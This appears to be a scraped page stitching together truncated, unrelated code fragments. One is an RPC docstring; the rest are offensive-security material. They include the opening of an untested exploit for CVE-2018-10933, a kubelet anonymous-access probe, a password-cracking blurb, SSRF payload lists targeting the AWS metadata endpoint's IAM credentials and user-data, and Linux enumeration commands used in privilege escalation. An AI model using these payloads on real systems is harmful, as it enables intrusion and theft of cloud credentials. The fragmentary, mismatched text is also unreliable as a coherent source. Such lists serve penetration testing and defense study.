| """ | |
| Python is a dynamic language, and it is relatively easy to dynamically create | |
| and modify things such as classes and objects. Functions, however, are quite | |
| challenging to create dynamically. | |
| One area where we might want to do this is in an RPC library, where a function | |
| defined on a server needs to be available remotely on a client. | |
| The naive solution is to simply pass arguments to a generic function that | |
| accepts `*args` and `**kwargs`. A lot of information is lost with this approach, | |
| however, in particular the number of arguments taken. Used in an RPC | |
| implementation, this also delays any error feedback until after the arguments |
| #!/usr/bin/env python | |
| # Based on https://www.openwall.com/lists/oss-security/2018/08/16/1 | |
| # untested CVE-2018-10933 | |
| import sys, paramiko | |
| import logging | |
| username = sys.argv[1] | |
| hostname = sys.argv[2] | |
| command = sys.argv[3] |
curl -sk https://localhost:10250/pods/--anonymous-auth is turned off, you will see a 401 Unauthorized response.--anonymous-auth is true and --authorization-mode is Webhook you'll see 403 Forbidden response with message Forbidden (user=system:anonymous, verb=get, resource=nodes, subresource=proxy)--anonymous-auth is true and --authorization-mode is AlwaysAllow you'll see a list of pods.
I now do password cracking in the cloud using a suped up AWS rig. More details here.
This document is under construction, but is intended to get you up and running quickly with cracking hashes in the cloud using the Paperspace service.
Resources used for this article:
| ## AWS | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/ami-id | |
| http://169.254.169.254/latest/meta-data/reservation-id | |
| http://169.254.169.254/latest/meta-data/hostname | |
| http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key |
| ## IPv6 Tests | |
| http://[::ffff:169.254.169.254] | |
| http://[0:0:0:0:0:ffff:169.254.169.254] | |
| ## AWS | |
| # Amazon Web Services (No Header Required) | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] |
| // Determine linux distribution and version | |
| cat /etc/issue | |
| cat /etc/*-release | |
| cat /etc/lsb-release | |
| cat /etc/redhat-release | |
| // Determine kernel version - 32 or 64-bit? | |
| cat /proc/version | |
| uname -a | |
| uname -mrs |